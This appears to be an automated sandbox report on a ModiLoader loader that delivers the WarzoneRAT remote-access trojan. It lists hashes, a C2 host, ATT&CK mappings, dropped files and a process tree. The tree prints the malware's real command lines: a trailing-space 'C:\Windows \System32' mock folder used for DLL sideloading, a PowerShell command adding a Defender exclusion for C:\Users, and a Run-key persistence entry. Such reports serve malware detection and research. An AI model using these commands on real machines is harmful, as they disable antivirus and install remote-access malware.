modiloader | ada78b7a4a682de1d427a7680470b94826243f7145c1d54b8808e77c0323d9a6

Analysis

max time kernel
147s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20231201-en
resource tags

arch:x64arch:x86image:win10v2004-20231201-enlocale:en-usos:windows10-2004-x64system
submitted
06-12-2023 17:17

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General

Target

ada78b7a4a682de1d427a7680470b94826243f7145c1d54b8808e77c0323d9a6.exe
Size

1.5MB
MD5

8c9df684ae431f8dcc734e9b3e285d86
SHA1

460115821427ce2539a98d867c77a2c5d0f60086
SHA256

ada78b7a4a682de1d427a7680470b94826243f7145c1d54b8808e77c0323d9a6
SHA512

ce1e5e323fbe7a285fbb8b3011a9787dc16e44e5ed849bc2c3b8dc7971cf95d8c429e298c4bdb1b8ce0def3678d0499b6ba4b9f570d6ba01f2694213bd9502d1
SSDEEP

24576:+gsVeKh95RhiJ+6TNAPWx79Q1S018hw0fIKQj3T60C3nG9b:+gsXcDtrhw0f23Cncb

Score

10^/10

modiloader warzonerat infostealer persistence rat trojan

Malware Config

Extracted

Family

warzonerat

freshwarsmi.ddns.net:5200

Signatures

ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
trojan modiloader
WarzoneRat, AveMaria
WarzoneRat is a native RAT developed in C++ with multiple plugins sold as a MaaS.
rat infostealer warzonerat

ModiLoader Second Stage 1 IoCs

Processes:

resource	yara_rule
behavioral2/memory/1680-2-0x0000000002CC0000-0x0000000003CC0000-memory.dmp	modiloader_stage2

Warzone RAT payload 2 IoCs

rat

Processes:

resource	yara_rule
behavioral2/memory/1872-49-0x0000000000400000-0x000000000055A000-memory.dmp	warzonerat
behavioral2/memory/1872-51-0x0000000000400000-0x000000000055A000-memory.dmp	warzonerat

Executes dropped EXE 1 IoCs

Processes:

easinvoker.exe

pid process

1108 easinvoker.exe
Loads dropped DLL 1 IoCs

Processes:

easinvoker.exe

pid process

1108 easinvoker.exe

pid	process
1108	easinvoker.exe

pid	process
1108	easinvoker.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

ada78b7a4a682de1d427a7680470b94826243f7145c1d54b8808e77c0323d9a6.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2192493100-457715857-1189582111-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Qrvhfkwa = "C:\\Users\\Public\\Qrvhfkwa.url"	ada78b7a4a682de1d427a7680470b94826243f7145c1d54b8808e77c0323d9a6.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

xcopy.exexcopy.exexcopy.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

2836 PING.EXE

pid	process
2836	PING.EXE

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

Processes:

description	flow	ioc
HTTP User-Agent header	39	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	41	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exeada78b7a4a682de1d427a7680470b94826243f7145c1d54b8808e77c0323d9a6.exe

pid	process
1548	powershell.exe
1548	powershell.exe
1680	ada78b7a4a682de1d427a7680470b94826243f7145c1d54b8808e77c0323d9a6.exe
1680	ada78b7a4a682de1d427a7680470b94826243f7145c1d54b8808e77c0323d9a6.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1548 powershell.exe
Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

SndVol.exe

pid process

1872 SndVol.exe
Suspicious use of SendNotifyMessage 2 IoCs

Processes:

SndVol.exe

pid process

1872 SndVol.exe
1872 SndVol.exe

description	pid	process
Token: SeDebugPrivilege	1548	powershell.exe

pid	process
1872	SndVol.exe

pid	process
1872	SndVol.exe
1872	SndVol.exe

Suspicious use of WriteProcessMemory 42 IoCs

Processes:

ada78b7a4a682de1d427a7680470b94826243f7145c1d54b8808e77c0323d9a6.execmd.exeeasinvoker.execmd.execmd.exe

description	pid	process	target process
PID 1680 wrote to memory of 1772	1680	ada78b7a4a682de1d427a7680470b94826243f7145c1d54b8808e77c0323d9a6.exe	cmd.exe
PID 1680 wrote to memory of 1772	1680	ada78b7a4a682de1d427a7680470b94826243f7145c1d54b8808e77c0323d9a6.exe	cmd.exe
PID 1680 wrote to memory of 1772	1680	ada78b7a4a682de1d427a7680470b94826243f7145c1d54b8808e77c0323d9a6.exe	cmd.exe
PID 1772 wrote to memory of 3108	1772	cmd.exe	cmd.exe
PID 1772 wrote to memory of 3108	1772	cmd.exe	cmd.exe
PID 1772 wrote to memory of 3108	1772	cmd.exe	cmd.exe
PID 1772 wrote to memory of 4428	1772	cmd.exe	cmd.exe
PID 1772 wrote to memory of 4428	1772	cmd.exe	cmd.exe
PID 1772 wrote to memory of 4428	1772	cmd.exe	cmd.exe
PID 1772 wrote to memory of 2112	1772	cmd.exe	cmd.exe
PID 1772 wrote to memory of 2112	1772	cmd.exe	cmd.exe
PID 1772 wrote to memory of 2112	1772	cmd.exe	cmd.exe
PID 1772 wrote to memory of 2608	1772	cmd.exe	xcopy.exe
PID 1772 wrote to memory of 2608	1772	cmd.exe	xcopy.exe
PID 1772 wrote to memory of 2608	1772	cmd.exe	xcopy.exe
PID 1772 wrote to memory of 5064	1772	cmd.exe	cmd.exe
PID 1772 wrote to memory of 5064	1772	cmd.exe	cmd.exe
PID 1772 wrote to memory of 5064	1772	cmd.exe	cmd.exe
PID 1772 wrote to memory of 4028	1772	cmd.exe	xcopy.exe
PID 1772 wrote to memory of 4028	1772	cmd.exe	xcopy.exe
PID 1772 wrote to memory of 4028	1772	cmd.exe	xcopy.exe
PID 1772 wrote to memory of 4680	1772	cmd.exe	cmd.exe
PID 1772 wrote to memory of 4680	1772	cmd.exe	cmd.exe
PID 1772 wrote to memory of 4680	1772	cmd.exe	cmd.exe
PID 1772 wrote to memory of 3484	1772	cmd.exe	xcopy.exe
PID 1772 wrote to memory of 3484	1772	cmd.exe	xcopy.exe
PID 1772 wrote to memory of 3484	1772	cmd.exe	xcopy.exe
PID 1772 wrote to memory of 1108	1772	cmd.exe	easinvoker.exe
PID 1772 wrote to memory of 1108	1772	cmd.exe	easinvoker.exe
PID 1108 wrote to memory of 3432	1108	easinvoker.exe	cmd.exe
PID 1108 wrote to memory of 3432	1108	easinvoker.exe	cmd.exe
PID 1772 wrote to memory of 2836	1772	cmd.exe	PING.EXE
PID 1772 wrote to memory of 2836	1772	cmd.exe	PING.EXE
PID 1772 wrote to memory of 2836	1772	cmd.exe	PING.EXE
PID 3432 wrote to memory of 1868	3432	cmd.exe	cmd.exe
PID 3432 wrote to memory of 1868	3432	cmd.exe	cmd.exe
PID 1868 wrote to memory of 1548	1868	cmd.exe	powershell.exe
PID 1868 wrote to memory of 1548	1868	cmd.exe	powershell.exe
PID 1680 wrote to memory of 1872	1680	ada78b7a4a682de1d427a7680470b94826243f7145c1d54b8808e77c0323d9a6.exe	SndVol.exe
PID 1680 wrote to memory of 1872	1680	ada78b7a4a682de1d427a7680470b94826243f7145c1d54b8808e77c0323d9a6.exe	SndVol.exe
PID 1680 wrote to memory of 1872	1680	ada78b7a4a682de1d427a7680470b94826243f7145c1d54b8808e77c0323d9a6.exe	SndVol.exe
PID 1680 wrote to memory of 1872	1680	ada78b7a4a682de1d427a7680470b94826243f7145c1d54b8808e77c0323d9a6.exe	SndVol.exe

C:\Users\Admin\AppData\Local\Temp\ada78b7a4a682de1d427a7680470b94826243f7145c1d54b8808e77c0323d9a6.exe
"C:\Users\Admin\AppData\Local\Temp\ada78b7a4a682de1d427a7680470b94826243f7145c1d54b8808e77c0323d9a6.exe"
1⤵
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1680

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Libraries\QrvhfkwaO.bat" "
2⤵
- Suspicious use of WriteProcessMemory
PID:1772

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c mkdir "\\?\C:\Windows "
3⤵
PID:3108

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c mkdir "\\?\C:\Windows \System32"
3⤵
PID:4428

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c ECHO F
3⤵
PID:2112

C:\Windows\SysWOW64\xcopy.exe
xcopy "easinvoker.exe" "C:\Windows \System32\" /K /D /H /Y
3⤵
- Enumerates system info in registry
PID:2608

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c ECHO F
3⤵
PID:5064

C:\Windows\SysWOW64\xcopy.exe
xcopy "netutils.dll" "C:\Windows \System32\" /K /D /H /Y
3⤵
- Enumerates system info in registry
PID:4028

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c ECHO F
3⤵
PID:4680

C:\Windows\SysWOW64\xcopy.exe
xcopy "KDECO.bat" "C:\Windows \System32\" /K /D /H /Y
3⤵
- Enumerates system info in registry
PID:3484

C:\Windows \System32\easinvoker.exe
"C:\Windows \System32\easinvoker.exe"
3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1108

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\windows \system32\KDECO.bat""
4⤵
- Suspicious use of WriteProcessMemory
PID:3432

C:\Windows\system32\cmd.exe
cmd.exe /c start /min powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users'"
5⤵
- Suspicious use of WriteProcessMemory
PID:1868

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users'"
6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1548

C:\Windows\SysWOW64\PING.EXE
ping 127.0.0.1 -n 6
3⤵
- Runs ping.exe
PID:2836

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\System32\SndVol.exe
2⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:1872

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Remote System Discovery

T1018

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5tviilai.zvk.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Public\Libraries\KDECO.bat
Filesize
152B

MD5
7e5fbd29557a68383dfb34e696964e93

SHA1
c1f748f89b47864301255d1fb2bfed04ed0d1300

SHA256
4e55b1bbe2e0e099592ac57a747fa8d4ef67409901d6c64323a1b73d50e5de67

SHA512
7dcb6582b03e7bf0cab2168dc775ca6d7a15ebb097fd2cdd3445b6d35ee128386fb9aa6a548b745c32540e358b2aa4d7c78a6f59f85c32065735fc54a6a2bb6a

Download Submit
C:\Users\Public\Libraries\QrvhfkwaO.bat
Filesize
466B

MD5
9e80036aabe3227dbf98b3975051a53b

SHA1
9670aab8897770a93293d85426b7b13dda23a152

SHA256
964aab3b72b3545fabc58a209714ebeade739a0fec40b33af675d7157b9cb252

SHA512
107fb6b364cf92730aca1a044f7769a1f4aed39a72f031a5004ccf09b3bebabac5fc88b3d0f85eb64c665404136db13678718bad36bea4311f07726684ed0a03

Download Submit
C:\Users\Public\Libraries\easinvoker.exe
Filesize
128KB

MD5
231ce1e1d7d98b44371ffff407d68b59

SHA1
25510d0f6353dbf0c9f72fc880de7585e34b28ff

SHA256
30951db8bfc21640645aa9144cfeaa294bb7c6980ef236d28552b6f4f3f92a96

SHA512
520887b01bda96b7c4f91b9330a5c03a12f7c7f266d4359432e7bacc76b0eef377c05a4361f8fa80ad0b94b5865699d747a5d94a2d3dcdb85dabf5887bb6c612

Download Submit
C:\Users\Public\Libraries\netutils.dll
Filesize
109KB

MD5
f3734dd95652252d02090c287c556522

SHA1
a9b9479f66516922a119eec78d3610342f22a68b

SHA256
be00f70763a053bf9c4b35e97319afbffa71dbb6e9c2c3c3f642a5e1fa7eb004

SHA512
59df477a29d38b8d5b5c4567c241d4ffe1d58926fa6775e1ecb15ec8119cf040be97f83870704b422f044ae56f2a5169c50b92a3e1b75a8069e2a251f9dec41b

Download Submit
C:\Windows \System32\easinvoker.exe
Filesize
128KB

MD5
231ce1e1d7d98b44371ffff407d68b59

SHA1
25510d0f6353dbf0c9f72fc880de7585e34b28ff

SHA256
30951db8bfc21640645aa9144cfeaa294bb7c6980ef236d28552b6f4f3f92a96

SHA512
520887b01bda96b7c4f91b9330a5c03a12f7c7f266d4359432e7bacc76b0eef377c05a4361f8fa80ad0b94b5865699d747a5d94a2d3dcdb85dabf5887bb6c612

Download Submit
C:\Windows \System32\easinvoker.exe
Filesize
128KB

MD5
231ce1e1d7d98b44371ffff407d68b59

SHA1
25510d0f6353dbf0c9f72fc880de7585e34b28ff

SHA256
30951db8bfc21640645aa9144cfeaa294bb7c6980ef236d28552b6f4f3f92a96

SHA512
520887b01bda96b7c4f91b9330a5c03a12f7c7f266d4359432e7bacc76b0eef377c05a4361f8fa80ad0b94b5865699d747a5d94a2d3dcdb85dabf5887bb6c612

Download Submit
C:\Windows \System32\netutils.dll
Filesize
109KB

MD5
f3734dd95652252d02090c287c556522

SHA1
a9b9479f66516922a119eec78d3610342f22a68b

SHA256
be00f70763a053bf9c4b35e97319afbffa71dbb6e9c2c3c3f642a5e1fa7eb004

SHA512
59df477a29d38b8d5b5c4567c241d4ffe1d58926fa6775e1ecb15ec8119cf040be97f83870704b422f044ae56f2a5169c50b92a3e1b75a8069e2a251f9dec41b

Download Submit
C:\Windows \System32\netutils.dll
Filesize
109KB

MD5
f3734dd95652252d02090c287c556522

SHA1
a9b9479f66516922a119eec78d3610342f22a68b

SHA256
be00f70763a053bf9c4b35e97319afbffa71dbb6e9c2c3c3f642a5e1fa7eb004

SHA512
59df477a29d38b8d5b5c4567c241d4ffe1d58926fa6775e1ecb15ec8119cf040be97f83870704b422f044ae56f2a5169c50b92a3e1b75a8069e2a251f9dec41b

Download Submit
C:\windows \system32\KDECO.bat
Filesize
152B

MD5
7e5fbd29557a68383dfb34e696964e93

SHA1
c1f748f89b47864301255d1fb2bfed04ed0d1300

SHA256
4e55b1bbe2e0e099592ac57a747fa8d4ef67409901d6c64323a1b73d50e5de67

SHA512
7dcb6582b03e7bf0cab2168dc775ca6d7a15ebb097fd2cdd3445b6d35ee128386fb9aa6a548b745c32540e358b2aa4d7c78a6f59f85c32065735fc54a6a2bb6a

Download Submit
memory/1108-26-0x00000000613C0000-0x00000000613E2000-memory.dmp

Filesize
136KB

Download
memory/1548-42-0x0000025739410000-0x0000025739420000-memory.dmp

Filesize
64KB

Download
memory/1548-30-0x00000257537F0000-0x0000025753812000-memory.dmp

Filesize
136KB

Download
memory/1548-36-0x00007FFBFAB60000-0x00007FFBFB621000-memory.dmp

Filesize
10.8MB

Download
memory/1548-41-0x0000025739410000-0x0000025739420000-memory.dmp

Filesize
64KB

Download
memory/1548-45-0x00007FFBFAB60000-0x00007FFBFB621000-memory.dmp

Filesize
10.8MB

Download
memory/1680-0-0x0000000002420000-0x0000000002421000-memory.dmp

Filesize
4KB

Download
memory/1680-2-0x0000000002CC0000-0x0000000003CC0000-memory.dmp

Filesize
16.0MB

Download
memory/1680-1-0x0000000002CC0000-0x0000000003CC0000-memory.dmp

Filesize
16.0MB

Download
memory/1680-4-0x0000000000400000-0x0000000000584000-memory.dmp

Filesize
1.5MB

Download
memory/1680-48-0x00000000725F0000-0x0000000072602000-memory.dmp

Filesize
72KB

Download
memory/1872-46-0x0000000003210000-0x0000000004210000-memory.dmp

Filesize
16.0MB

Download
memory/1872-49-0x0000000000400000-0x000000000055A000-memory.dmp

Filesize
1.4MB

Download
memory/1872-51-0x0000000000400000-0x000000000055A000-memory.dmp

Filesize
1.4MB

Download